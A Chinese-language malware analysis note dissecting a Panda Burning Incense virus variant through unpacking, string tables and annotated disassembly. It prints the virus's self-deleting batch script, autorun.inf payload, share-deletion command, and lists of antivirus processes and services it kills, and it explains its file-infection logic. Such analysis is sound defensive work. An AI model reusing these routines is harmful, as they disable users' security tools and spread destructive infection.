新版熊猫病毒分析笔记－by cyto
从某处下了个所谓的新版本熊猫烧香.
根据字符串结合loveboom的文章进行了深入的学习.
不敢独享,分享如下.
GameSetup.exe
1.脱壳:
FSG 2.0 -> bart/xt
Borland Delphi 6.0 - 7.0
ep:
00400154 G> 8725 F4D24100 xchg dword ptr ds:[41D2F4],esp
0040015A 61 popad
0040015B 94 xchg eax,esp
0040015C 55 push ebp
0040015D A4 movs byte ptr es:[edi],byte ptr ds:[e>
0040015E B6 80 mov dh,80
00400160 FF13 call dword ptr ds:[ebx]
00400162 ^ 73 F9 jnb short GameSetu.0040015D
...
004001CC 40 inc eax
004001CD ^ 78 F3 js short GameSetu.004001C2
004001CF 75 03 jnz short GameSetu.004001D4
004001D1 - FF63 0C jmp dword ptr ds:[ebx+C] ; GameSetu.0040D278 ,OEP
004001D4 50 push eax
004001D5 55 push ebp
004001D6 FF53 14 call dword ptr ds:[ebx+14]
004001D9 AB stos dword ptr es:[edi]
004001DA ^ EB EE jmp short GameSetu.004001CA
OEP:
0040D278 55 push ebp ; URLMON.702B0000
0040D279 8BEC mov ebp,esp
0040D27B 83C4 E8 add esp,-18
0040D27E 53 push ebx
0040D27F 56 push esi
0040D280 33C0 xor eax,eax
0040D282 8945 E8 mov dword ptr ss:[ebp-18],eax
0040D285 8945 EC mov dword ptr ss:[ebp-14],eax
0040D288 B8 C8D14000 mov eax,GameSetu.0040D1C8
0040D28D E8 5677FFFF call GameSetu.004049E8
文本字符串参考位于 GameSetu:
地址 反汇编 文本字符串
0040626A mov eax,GameSetu.004069D8 ASCII "VirusScan"
00406296 mov eax,GameSetu.004069EC ASCII "NOD32"
004064B0 mov eax,GameSetu.00406AB4 ASCII "Symantec AntiVirus"
004064E2 mov eax,GameSetu.00406AD0 ASCII "Duba"
00406514 mov eax,GameSetu.00406AE0 ASCII "esteem procs"
0040660E mov eax,GameSetu.00406B44 ASCII "System Safety Monitor"
00406640 mov eax,GameSetu.00406B64 ASCII "Wrapped gift Killer"
00406672 mov eax,GameSetu.00406B80 ASCII "Winsock Expert"
0040670E push GameSetu.00406BC0 ASCII "msctls_statusbar32"
00406748 mov eax,GameSetu.00406BDC ASCII "pjf(ustc)"
004067E4 push GameSetu.00406BE8 ASCII "IceSword"
00406826 mov eax,GameSetu.00406BFC ASCII "Mcshield.exe"
00406830 mov eax,GameSetu.00406C14 ASCII "VsTskMgr.exe"
0040683A mov eax,GameSetu.00406C2C ASCII "naPrdMgr.exe"
00406844 mov eax,GameSetu.00406C44 ASCII "UpdaterUI.exe"
0040684E mov eax,GameSetu.00406C5C ASCII "TBMon.exe"
00406858 mov eax,GameSetu.00406C70 ASCII "scan32.exe"
00406862 mov eax,GameSetu.00406C84 ASCII "Ravmond.exe"
0040686C mov eax,GameSetu.00406C98 ASCII "CCenter.exe"
00406876 mov eax,GameSetu.00406CAC ASCII "RavTask.exe"
00406880 mov eax,GameSetu.00406CC0 ASCII "Rav.exe"
0040688A mov eax,GameSetu.00406CD0 ASCII "Ravmon.exe"
00406894 mov eax,GameSetu.00406CE4 ASCII "RavmonD.exe"
0040689E mov eax,GameSetu.00406CF8 ASCII "RavStub.exe"
004068A8 mov eax,GameSetu.00406D0C ASCII "KVXP.kxp"
004068B2 mov eax,GameSetu.00406D20 ASCII "KvMonXP.kxp"
004068BC mov eax,GameSetu.00406D34 ASCII "KVCenter.kxp"
004068C6 mov eax,GameSetu.00406D4C ASCII "KVSrvXP.exe"
004068D0 mov eax,GameSetu.00406D60 ASCII "KRegEx.exe"
004068DA mov eax,GameSetu.00406D74 ASCII "UIHost.exe"
004068E4 mov eax,GameSetu.00406D88 ASCII "TrojDie.kxp"
004068EE mov eax,GameSetu.00406D9C ASCII "FrogAgent.exe"
004068F8 mov eax,GameSetu.00406D0C ASCII "KVXP.kxp"
00406902 mov eax,GameSetu.00406D20 ASCII "KvMonXP.kxp"
0040690C mov eax,GameSetu.00406D34 ASCII "KVCenter.kxp"
00406916 mov eax,GameSetu.00406D4C ASCII "KVSrvXP.exe"
00406920 mov eax,GameSetu.00406D60 ASCII "KRegEx.exe"
0040692A mov eax,GameSetu.00406D74 ASCII "UIHost.exe"
00406934 mov eax,GameSetu.00406D88 ASCII "TrojDie.kxp"
0040693E mov eax,GameSetu.00406D9C ASCII "FrogAgent.exe"
00406948 mov eax,GameSetu.00406DB4 ASCII "Logo1_.exe"
00406952 mov eax,GameSetu.00406DC8 ASCII "Logo_1.exe"
0040695C mov eax,GameSetu.00406DDC ASCII "Rundl132.exe"
00406966 mov eax,GameSetu.00406DF4 ASCII "regedit.exe"
00406970 mov eax,GameSetu.00406E08 ASCII "msconfig.exe"
0040697A mov eax,GameSetu.00406E20 ASCII "taskmgr.exe"
00406E44 mov eax,GameSetu.00407014 ASCII "Schedule"
00406E4E mov eax,GameSetu.00407028 ASCII "sharedaccess"
00406E58 mov eax,GameSetu.00407040 ASCII "RsCCenter"
00406E62 mov eax,GameSetu.00407054 ASCII "RsRavMon"
00406E6C mov eax,GameSetu.00407060 ASCII "RsCCenter"
00406E76 mov eax,GameSetu.0040706C ASCII "RsRavMon"
00406E80 mov edx,GameSetu.00407080 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
00406E8F mov eax,GameSetu.004070C0 ASCII "KVWSC"
00406E99 mov eax,GameSetu.004070D0 ASCII "KVSrvXP"
00406EA3 mov eax,GameSetu.004070D8 ASCII "KVWSC"
00406EAD mov eax,GameSetu.004070E0 ASCII "KVSrvXP"
00406EB7 mov edx,GameSetu.004070F0 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
00406EC6 mov eax,GameSetu.00407130 ASCII "kavsvc"
00406ED0 mov eax,GameSetu.00407140 ASCII "AVP"
00406EDA mov eax,GameSetu.00407144 ASCII "AVP"
00406EE4 mov eax,GameSetu.00407148 ASCII "kavsvc"
00406EEE mov edx,GameSetu.00407158 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
00406EFD mov edx,GameSetu.00407194 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50"
00406F0C mov eax,GameSetu.004071D8 ASCII "McAfeeFramework"
00406F16 mov eax,GameSetu.004071F0 ASCII "McShield"
00406F20 mov eax,GameSetu.00407204 ASCII "McTaskManager"
00406F2A mov eax,GameSetu.00407214 ASCII "McAfeeFramework"
00406F34 mov eax,GameSetu.00407224 ASCII "McShield"
00406F3E mov eax,GameSetu.00407230 ASCII "McTaskManager"
00406F48 mov edx,GameSetu.00407248 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
00406F57 mov edx,GameSetu.00407290 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service"
00406F66 mov edx,GameSetu.004072F4 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE"
00406F75 mov eax,GameSetu.0040732C ASCII "navapsvc"
00406F7F mov eax,GameSetu.00407338 ASCII "wscsvc"
00406F89 mov eax,GameSetu.00407340 ASCII "KPfwSvc"
00406F93 mov eax,GameSetu.00407348 ASCII "SNDSrvc"
00406F9D mov eax,GameSetu.00407350 ASCII "ccProxy"
00406FA7 mov eax,GameSetu.00407358 ASCII "ccEvtMgr"
00406FB1 mov eax,GameSetu.00407364 ASCII "ccSetMgr"
00406FBB mov eax,GameSetu.00407370 ASCII "SPBBCSvc"
00406FC5 mov eax,GameSetu.0040737C ASCII "Symantec Core LC"
00406FCF mov eax,GameSetu.00407390 ASCII "NPFMntor"
00406FD9 mov eax,GameSetu.0040739C ASCII "MskService"
00406FE3 mov eax,GameSetu.004073A8 ASCII "FireSvc"
00406FED mov edx,GameSetu.004073B8 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe"
00406FFC mov edx,GameSetu.004073F8 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
004075D5 mov ecx,GameSetu.0040764C ASCII ":\"
004079FF mov edx,GameSetu.00407AF4 ASCII "Search"
00407A04 mov eax,GameSetu.00407B04 ASCII "=nb{end''w{g>ispy>,.ps~*bb?2''gm.12&mmeb|''lwl''s``wi:&9&#ibmnlw<%4+:?.nb{end9"
00407BB6 push GameSetu.00407E44 ASCII "$$.bat"
00407BEE mov edx,GameSetu.00407E54 ASCII ":try1"
00407C08 push GameSetu.00407E64 ASCII "del ""
00407C50 push GameSetu.00407E80 ASCII "if exist ""
00407C6D push GameSetu.00407E94 ASCII " goto try1"
00407C9D push GameSetu.00407EA8 ASCII "ren ""
00407CB5 push GameSetu.00407EB8 ASCII ".exe"
00407D1D push GameSetu.00407E80 ASCII "if exist ""
00407D35 push GameSetu.00407EB8 ASCII ".exe"
00407D3F push GameSetu.00407ED4 ASCII " goto try2"
00407DB7 mov edx,GameSetu.00407EE8 ASCII ":try2"
00407DD1 mov edx,GameSetu.00407EF8 ASCII "del %0"
00407FDE mov eax,GameSetu.0040815C ASCII "WhBoy"
00408060 push GameSetu.0040817C ASCII ".exe"
004081E1 mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
00408227 mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
0040826D mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
00408329 push GameSetu.004087B0 ASCII "drivers\"
0040832E push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408366 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
00408370 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
00408390 push GameSetu.004087B0 ASCII "drivers\"
00408395 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004083D5 push GameSetu.004087B0 ASCII "drivers\"
004083DA push GameSetu.004087C4 ASCII "spo0lsv.exe"
0040842C push GameSetu.004087B0 ASCII "drivers\"
00408431 push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408589 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
004085B1 push GameSetu.004087B0 ASCII "drivers\"
004085B6 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004085F4 push GameSetu.004087B0 ASCII "drivers\"
004085F9 push GameSetu.004087C4 ASCII "spo0lsv.exe"
0040867D push GameSetu.004087B0 ASCII "drivers\"
00408682 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004086FB push GameSetu.004087B0 ASCII "drivers\"
00408700 push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408858 mov ecx,GameSetu.00409130 ASCII "*.*"
004088AA mov eax,GameSetu.0040913C ASCII "WINDOWS"
004088E4 mov eax,GameSetu.0040914C ASCII "WINNT"
0040891E mov eax,GameSetu.0040915C ASCII "system32"
00408958 mov eax,GameSetu.00409170 ASCII "Documents and Settings"
00408992 mov eax,GameSetu.00409190 ASCII "System Volume Information"
004089CC mov eax,GameSetu.004091B4 ASCII "Recycled"
00408A06 mov eax,GameSetu.004091C8 ASCII "Windows NT"
00408A40 mov eax,GameSetu.004091DC ASCII "WindowsUpdate"
00408A7A mov eax,GameSetu.004091F4 ASCII "Windows Media Player"
00408AB4 mov eax,GameSetu.00409214 ASCII "Outlook Express"
00408AEE mov eax,GameSetu.0040922C ASCII "Internet Explorer"
00408B28 mov eax,GameSetu.00409248 ASCII "NetMeeting"
00408B62 mov eax,GameSetu.0040925C ASCII "Common Files"
00408B9C mov eax,GameSetu.00409274 ASCII "ComPlus Applications"
00408BD6 mov eax,GameSetu.0040925C ASCII "Common Files"
00408C10 mov eax,GameSetu.00409294 ASCII "Messenger"
00408C4A mov eax,GameSetu.004092A8 ASCII "InstallShield Installation Information"
00408C84 mov eax,GameSetu.004092D8 ASCII "MSN"
00408CBE mov eax,GameSetu.004092E4 ASCII "Microsoft Frontpage"
00408CF8 mov eax,GameSetu.00409300 ASCII "Movie Maker"
00408D32 mov eax,GameSetu.00409314 ASCII "MSN Gamin Zone"
00408D6F push GameSetu.0040932C ASCII "\Desktop_.ini"
00408DA0 push GameSetu.0040932C ASCII "\Desktop_.ini"
00408E6D push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F0E push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F3C push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F7C push GameSetu.0040932C ASCII "\Desktop_.ini"
0040901D push GameSetu.0040932C ASCII "\Desktop_.ini"
0040904B push GameSetu.0040932C ASCII "\Desktop_.ini"
004093B8 mov ecx,GameSetu.0040A1BC ASCII "*.*"
0040940A mov eax,GameSetu.0040A1C8 ASCII "WINDOWS"
00409444 mov eax,GameSetu.0040A1D8 ASCII "WINNT"
0040947E mov eax,GameSetu.0040A1E8 ASCII "system32"
004094B8 mov eax,GameSetu.0040A1FC ASCII "Documents and Settings"
004094F2 mov eax,GameSetu.0040A21C ASCII "System Volume Information"
0040952C mov eax,GameSetu.0040A240 ASCII "Recycled"
00409566 mov eax,GameSetu.0040A254 ASCII "Windows NT"
004095A0 mov eax,GameSetu.0040A268 ASCII "WindowsUpdate"
004095DA mov eax,GameSetu.0040A280 ASCII "Windows Media Player"
00409614 mov eax,GameSetu.0040A2A0 ASCII "Outlook Express"
0040964E mov eax,GameSetu.0040A2B8 ASCII "Internet Explorer"
00409688 mov eax,GameSetu.0040A2D4 ASCII "NetMeeting"
004096C2 mov eax,GameSetu.0040A2E8 ASCII "Common Files"
004096FC mov eax,GameSetu.0040A300 ASCII "ComPlus Applications"
00409736 mov eax,GameSetu.0040A2E8 ASCII "Common Files"
00409770 mov eax,GameSetu.0040A320 ASCII "Messenger"
004097AA mov eax,GameSetu.0040A334 ASCII "InstallShield Installation Information"
004097E4 mov eax,GameSetu.0040A364 ASCII "MSN"
0040981E mov eax,GameSetu.0040A370 ASCII "Microsoft Frontpage"
00409858 mov eax,GameSetu.0040A38C ASCII "Movie Maker"
00409892 mov eax,GameSetu.0040A3A0 ASCII "MSN Gamin Zone"
004098CF push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409900 push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
004099CD push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409A6E push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409A9C push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409ADC push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409B7D push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409BAB push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409C33 mov edx,GameSetu.0040A3DC ASCII "GHO"
00409C94 mov eax,GameSetu.0040A3E8 ASCII "setup.exe"
00409CCE mov eax,GameSetu.0040A3FC ASCII "NTDETECT.COM"
00409D31 mov eax,GameSetu.0040A414 ASCII "EXE"
00409D97 mov eax,GameSetu.0040A420 ASCII "SCR"
00409DFD mov eax,GameSetu.0040A42C ASCII "PIF"
00409E63 mov eax,GameSetu.0040A438 ASCII "COM"
00409EC9 mov eax,GameSetu.0040A444 ASCII "htm"
00409F2F mov eax,GameSetu.0040A450 ASCII "html"
00409F95 mov eax,GameSetu.0040A460 ASCII "asp"
00409FFB mov eax,GameSetu.0040A46C ASCII "php"
0040A061 mov eax,GameSetu.0040A478 ASCII "jsp"
0040A0C7 mov eax,GameSetu.0040A484 ASCII "aspx"
0040A544 mov edx,GameSetu.0040A5AC ASCII ":\"
0040AA73 push GameSetu.0040AD64 ASCII "GameSetup.exe"
0040AA99 push GameSetu.0040AD7C ASCII "drivers\"
0040AA9E push GameSetu.0040AD90 ASCII "spo0lsv.exe"
0040AB44 push GameSetu.0040AD64 ASCII "GameSetup.exe"
0040AC6B mov eax,GameSetu.0040ADA4 ASCII "admin$"
0040B913 mov edx,GameSetu.0040BA14 ASCII "\\"
0040B9AB mov edx,GameSetu.0040BA14 ASCII "\\"
0040BA25 push GameSetu.0040BA68 ASCII "NetShareEnum"
0040BA35 push GameSetu.0040BA78 ASCII "NetApiBufferFree"
0040BA45 push GameSetu.0040BA68 ASCII "NetShareEnum"
0040BCB9 mov ecx,GameSetu.0040BD30 ASCII ":\"
0040BF9F mov ecx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040BFC4 mov ecx,GameSetu.0040C308 ASCII ":\autorun.inf"
0040C05B mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C0BA mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C11D mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C19A mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C20F mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C253 mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C528 mov edx,GameSetu.0040C5D8 ASCII "xboy"
0040C60C mov edx,GameSetu.0040C720 ASCII "QQ"
0040C625 push GameSetu.0040C724 ASCII "QQ"
0040C777 mov edx,GameSetu.0040C9A0 ASCII "QQ"
0040C793 mov eax,GameSetu.0040C9AC ASCII "
"
0040C7AC mov eax,GameSetu.0040C9AC ASCII "
"
0040C7CD mov eax,GameSetu.0040C9AC ASCII "
"
0040C9FF mov edx,GameSetu.0040CC24 ASCII "QQ"
0040CA1B mov eax,GameSetu.0040CC30 ASCII "
"
0040CA34 mov eax,GameSetu.0040CC30 ASCII "
"
0040CA55 mov eax,GameSetu.0040CC30 ASCII "
"
0040CE1D push GameSetu.0040CE94 ASCII "cmd.exe /c net share "
0040CE34 push GameSetu.0040CEB4 ASCII "$ /del /y"
0040CE5B push GameSetu.0040CEC0 ASCII "cmd.exe /c net share admin$ /del /y"
0040CF09 push GameSetu.0040CF7C ASCII "drivers\"
0040CF0E push GameSetu.0040CF90 ASCII "spo0lsv.exe"
0040CF29 mov ecx,GameSetu.0040CF9C ASCII "svcshare"
0040CF2E mov edx,GameSetu.0040CFA8 ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040CF3F mov edx,GameSetu.0040CFE0 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
0040D04E push GameSetu.0040CC34 ASCII "QTj"
0040D0C6 push GameSetu.0040D048 ASCII "QTj"
0040D0DE push GameSetu.00407430 ASCII "QTj"
0040D278 push ebp （初始 CPU 选择）
0040D5D6 mov edx,GameSetu.0040D890 ASCII "xboy"
0040D600 mov edx,GameSetu.0040D8CC ASCII "whboy"
2.静态分析:按字符串参考顺序
2.1 关闭包含字符串的窗口：
建立线程:
00406E2C 51 push ecx
00406E2D 54 push esp
00406E2E 6A 00 push 0
00406E30 6A 00 push 0
00406E32 68 B8614000 push GameSetu.004061B8 ; 执行主体
00406E37 6A 00 push 0
00406E39 6A 00 push 0
00406E3B E8 BCDCFFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
00406E40 5A pop edx
00406E41 C3 retn
用到的函数:
004061E3 E8 2CEAFFFF call GameSetu.00404C14 ; jmp to user32.GetDesktopWindow
004061F0 E8 17EAFFFF call GameSetu.00404C0C ; jmp to user32.FindWindowExA
004061FB E8 24EAFFFF call GameSetu.00404C24 ; jmp to user32.GetWindowTextA
00406227 E8 10EAFFFF call GameSetu.00404C3C ; jmp to user32.PostMessageA
示例过程:
0040648C 6A 00 push 0
0040648E 6A 00 push 0
00406490 6A 12 push 12
00406492 53 push ebx
00406493 E8 A4E7FFFF call <jmp.&user32.PostMessageA>
00406498 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-A4]
0040649E 8BD6 mov edx,esi
004064A0 B9 65000000 mov ecx,65
004064A5 E8 0ADAFFFF call dumped_.00403EB4
004064AA 8B95 5CFFFFFF mov edx,dword ptr ss:[ebp-A4]
004064B0 B8 B46A4000 mov eax,dumped_.00406AB4 ; ASCII "Symantec AntiVirus"
004064B5 E8 FADCFFFF call dumped_.004041B4
004064BA 85C0 test eax,eax
004064BC 74 0C je short dumped_.004064CA
字符串基本针对杀软,包括:
防火墙;VirusScan;NOD32;网镖;杀毒;毒霸;瑞星;超级兔子;
优化大师;木马清道夫;木馬清道夫;卡巴斯基反病毒;
Symantec AntiVirus;Duba;esteem procs;绿鹰PC;
密码防盗;噬菌体;木马辅助查找器;System Safety Monitor;
Wrapped gift Killer;Winsock Expert;游戏木马检测大师;
超级巡警;IceSword;msctls_statusbar32;pjf(ustc).
2.2 结束进程：
00406826 B8 FC6B4000 mov eax,dumped_.00406BFC ; ASCII "Mcshield.exe"
0040682B E8 94F7FFFF call dumped_.00405FC4
一个个进程枚举比较:
00406091 8B95 C8FEFFFF mov edx,dword ptr ss:[ebp-138]
00406097 58 pop eax
00406098 E8 7BDFFFFF call dumped_.00404018 ; 比较
0040609D 75 12 jnz short dumped_.004060B1 ; 不是继续
0040609F 8B43 08 mov eax,dword ptr ds:[ebx+8]
004060A2 E8 FDFEFFFF call dumped_.00405FA4
004060A7 8BD8 mov ebx,eax
004060A9 56 push esi
004060AA E8 2DEAFFFF call <jmp.&kernel32.CloseHandle> ; 关闭
004060AF EB 1F jmp short dumped_.004060D0
进程包括:
杀软:
Mcshield.exe;VsTskMgr.exe;naPrdMgr.exe;UpdaterUI.exe;TBMon.exe;scan32.exe;
Ravmond.exe;CCenter.exe;RavTask.exe;Rav.exe;Ravmon.exe;RavmonD.exe;RavStub.exe;
KVXP.kxp;KvMonXP.kxp;KVCenter.kxp;KVSrvXP.exe;KRegEx.exe;
UIHost.exe;TrojDie.kxp;FrogAgent.exe;
Viking:
Logo1_.exe;Logo_1.exe;Rundl132.exe;
Windows:
regedit.exe;msconfig.exe;taskmgr.exe.
2.3 关闭或删除服务：
间隔6s尝试关闭或删除服务.
0040D0D9 A3 B8E24000 mov dword ptr ds:[40E2B8],eax
0040D0DE 68 30744000 push GameSetu.00407430 ; ASCII "QTj",执行地址
0040D0E3 68 70170000 push 1770 ; 时间,6000ms
0040D0E8 6A 00 push 0
0040D0EA 6A 00 push 0
0040D0EC E8 537BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
00407430 51 push ecx
00407431 54 push esp
00407432 6A 00 push 0
00407434 6A 00 push 0
00407436 68 446E4000 push GameSetu.00406E44 ; 执行主体
0040743B 6A 00 push 0
0040743D 6A 00 push 0
0040743F E8 B8D6FFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
00407444 5A pop edx
00407445 C3 retn
00406E44 B8 14704000 mov eax,GameSetu.00407014 ; ASCII "Schedule"
00406E49 E8 6EEDFFFF call GameSetu.00405BBC
00405BE6 E8 89FFFFFF call <jmp.&advapi32.OpenSCManagerA>
00405BFC E8 7BFFFFFF call <jmp.&advapi32.OpenServiceA>
00405C0A E8 55FFFFFF call <jmp.&advapi32.ControlService>
00405C10 E8 47FFFFFF call <jmp.&advapi32.CloseServiceHandle>
00405C16 E8 41FFFFFF call <jmp.&advapi32.CloseServiceHandle>
服务基本都是杀软,有:
Schedule;sharedaccess;RsCCenter;
KVWSC;KVSrvXP;kavsvc;AVP;
McAfeeFramework;McShield;McTaskManager;
navapsvc;wscsvc;KPfwSvc;SNDSrvc;
ccProxy;ccEvtMgr;ccSetMgr;
SPBBCSvc;Symantec Core LC;NPFMntor;
MskService;FireSvc;
涉及到的注册表项:
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
2.4 自删除:文件名:数字随机+$$.bat
00407BB6 68 447E4000 push GameSetu.00407E44 ; ASCII "$$.bat"
00407E06 E8 C9CDFFFF call <jmp.&kernel32.WinExec> ; 运行删除
"D:\DOCUME~1\GaoJH\LOCALS~1\Temp\95$$.bat"
:try1
del "E:\GameSetup.exe"
if exist "E:\GameSetup.exe" goto try1
ren "E:\GameSetup.exe.exe" "GameSetup.exe"
if exist "E:\GameSetup.exe.exe" goto try2
"E:\GameSetup.exe"
:try2
del %0
2.5.拷贝病毒到特定文件夹
病毒会将自己复制到%SYSTEM32%DRIVERS目录下文件名为:spo0lsv.exe
判断当前spo0lsv.exe路径是否为:x:\winnt\system32\drivers,如果不是终止进程,拷贝病毒过去并执行:
00408329 68 B0874000 push GameSetu.004087B0 ; ASCII "drivers\"
0040832E 68 C4874000 push GameSetu.004087C4 ; ASCII "spo0lsv.exe"
...
0040836B E8 54DCFFFF call GameSetu.00405FC4 ; 终止进程
004060AA E8 2DEAFFFF call GameSetu.00404ADC ; jmp to KERNEL32.CloseHandle
00408414 E8 D3C6FFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
00408452 E8 7DC7FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
2.6 本地磁盘感染
除了盘符为A,B的磁盘;类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘外,
病毒对系统中所有磁盘进行文件遍历感染.感染过的以Desktop_.ini标志.
某些系统文件夹不进行感染;
文件如果有gho扩展名的,删除;不感染文件大小超过10485760字节以上的;
某些文件也不感染.
004093B8 B9 BCA14000 mov ecx,GameSetu.0040A1BC ; ASCII "*.*" ; 所有文件
...
004093E3 8B85 A4FEFFFF mov eax,dword ptr ss:[ebp-15C] ; 循环开始处
004093E9 83E0 10 and eax,10
004093EC 83F8 10 cmp eax,10
004093EF 0F85 07080000 jnz GameSetu.00409BFC
...
00409404 8D95 84FEFFFF lea edx,dword ptr ss:[ebp-17C]
0040940A B8 C8A14000 mov eax,GameSetu.0040A1C8 ; ASCII "WINDOWS",不感染的文件夹名称
0040940F E8 08BEFFFF call GameSetu.0040521C
...
0040942C 8B95 80FEFFFF mov edx,dword ptr ss:[ebp-180]
00409432 58 pop eax
00409433 E8 E0ABFFFF call GameSetu.00404018 ; 是不是要屏蔽感染的文件夹
00409438 0F84 C70C0000 je GameSetu.0040A105 ; 是的话继续循环
...
00409900 68 B8A34000 push GameSetu.0040A3B8 ; ASCII "\Desktop_.ini",是否有感染标志
...
00409C2D 8B85 90FDFFFF mov eax,dword ptr ss:[ebp-270]
00409C33 BA DCA34000 mov edx,GameSetu.0040A3DC ; ASCII "GHO",是否是Gho扩展名
00409C38 E8 DBA3FFFF call GameSetu.00404018
00409C3D 75 25 jnz short GameSetu.00409C64
...
00409C5F E8 A0AEFFFF call GameSetu.00404B04 ; jmp to KERNEL32.DeleteFileA,删除gho文件.
...
00409C78 8B85 84FDFFFF mov eax,dword ptr ss:[ebp-27C]
00409C7E E8 99DCFFFF call GameSetu.0040791C
00409C83 3D 0000A000 cmp eax,0A00000 ; 如果不是gho文件,大于10485760字节的不感染.
00409C88 0F8D 70040000 jge GameSetu.0040A0FE
...
00409C8E 8D95 80FDFFFF lea edx,dword ptr ss:[ebp-280]
00409C94 B8 E8A34000 mov eax,GameSetu.0040A3E8 ; ASCII "setup.exe",不感染的文件
00409C99 E8 7EB5FFFF call GameSetu.0040521C
...
00409CC8 8D95 78FDFFFF lea edx,dword ptr ss:[ebp-288]
00409CCE B8 FCA34000 mov eax,GameSetu.0040A3FC ; ASCII "NTDETECT.COM",不感染的文件
00409CD3 E8 44B5FFFF call GameSetu.0040521C
...
00409D31 B8 14A44000 mov eax,GameSetu.0040A414 ; ASCII "EXE",感染类型
00409D97 B8 20A44000 mov eax,GameSetu.0040A420 ; ASCII "SCR"
00409DFD B8 2CA44000 mov eax,GameSetu.0040A42C ; ASCII "PIF"
00409E63 B8 38A44000 mov eax,GameSetu.0040A438 ; ASCII "COM"
00409EC9 B8 44A44000 mov eax,GameSetu.0040A444 ; ASCII "htm"
00409F2F B8 50A44000 mov eax,GameSetu.0040A450 ; ASCII "html"
00409F95 B8 60A44000 mov eax,GameSetu.0040A460 ; ASCII "asp"
00409FFB B8 6CA44000 mov eax,GameSetu.0040A46C ; ASCII "php"
0040A061 B8 78A44000 mov eax,GameSetu.0040A478 ; ASCII "jsp"
0040A0C7 B8 84A44000 mov eax,GameSetu.0040A484 ; ASCII "aspx"
...
0040A0FE 6A 14 push 14 ; 休息下
0040A100 E8 BFAAFFFF call GameSetu.00404BC4 ; jmp to KERNEL32.Sleep
0040A105 8D85 9CFEFFFF lea eax,dword ptr ss:[ebp-164]
0040A10B E8 70D4FFFF call GameSetu.00407580
0040A110 85C0 test eax,eax
0040A112 ^ 0F84 CBF2FFFF je GameSetu.004093E3 ; 继续循环感染
不感染的目录包括:
WINDOWS;WINNT;system32;Documents and Settings;System Volume Information;
Recycled;Windows NT;WindowsUpdate;Windows Media Player;Outlook Express;
Internet Explore;NetMeeting;ComPlus Applications;Messenger;
InstallShield Installation Information;MSN;Microsoft Frontpage;Movie Maker;
MSN Gamin Zone.
不感染的文件:
setup.exe;NTDETECT.COM.
感染文件类型:
ASCII "EXE";ASCII "SCR";ASCII "PIF";ASCII "COM";
ASCII "htm";ASCII "html";ASCII "asp";ASCII "php";ASCII "jsp";ASCII "aspx".
2.7 文件感染方式:
2.7.1 二进制可执行文件(后缀后为:EXE,SCR,PIF,COM):
将感染目标文件和病毒溶合成一个文件(被感染文件贴在病毒文件尾部)完成感染.
00409E95 E8 66E0FFFF call GameSetu.00407F00
